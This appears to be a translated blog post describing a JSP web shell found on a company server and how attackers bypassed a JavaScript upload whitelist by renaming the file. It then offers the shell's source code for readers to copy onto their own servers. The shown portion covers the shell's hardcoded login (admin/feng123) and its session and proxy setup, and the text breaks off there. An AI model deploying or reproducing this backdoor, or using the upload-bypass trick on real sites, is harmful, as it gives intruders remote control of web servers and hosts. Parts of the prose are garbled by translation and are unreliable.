Expose how hackers control and attack your website by uploading a jsp page

Expose how hackers control and attack your website by uploading a jsp page

Some time ago, the company asked a security company in the industry to perform a security scan on the enterprise's information system and found many security risks and system vulnerabilities.

During security reinforcement and patch patching, the author found a shell on the web server (including unix and windows platforms. the jsp page of the jsp is taken down and put on the test server for running. It turns out that the jsp has the web interface to control your entire web Container and even your host on windows and unix platforms. However, we have used js to control the upload of files in this format. Why have they uploaded the files? After reading the relevant documents, I learned that they used to disguise the jsp page as a file in the whitelist that is allowed to be uploaded. After bypassing the check script, I changed it back to jsp and uploaded it to the server. control the server. Therefore, the author strongly recommends that all security checks on the server should be completed for key systems of the enterprise. Now let's share the code of this jsp page. If you are interested, you can copy the code to your server and save it as a jsp style. Reference code:

Logon account: admin Password: feng123 on this page

<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%><%@page contentType="text/html;charset=GBK"%><%@page pageEncoding="gb2312"%><%!final String APP_NAME="MyBlog jsp Manage-System 1.0";int portListen=5000;//set the httpproxy portboolean openHttpProxy=false;//set the httpproxy load-on-start-up%><%    session.setMaxInactiveInterval(6000);    final String WEB_SITE=folderReplace(application.getRealPath("/"));    final String URL=request.getRequestURI();    if(session.getAttribute("ID")==null){        // the user and pass  field          String username="admin";        String password="feng123";        // the user and pass  field          if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){            session.setAttribute("ID","1");            response.sendRedirect(URL);        }else{            out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" +                       "<form name=login method=post>username:<input name=LName type=text size=15><br>" +                    "password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>");        }        return;    }%>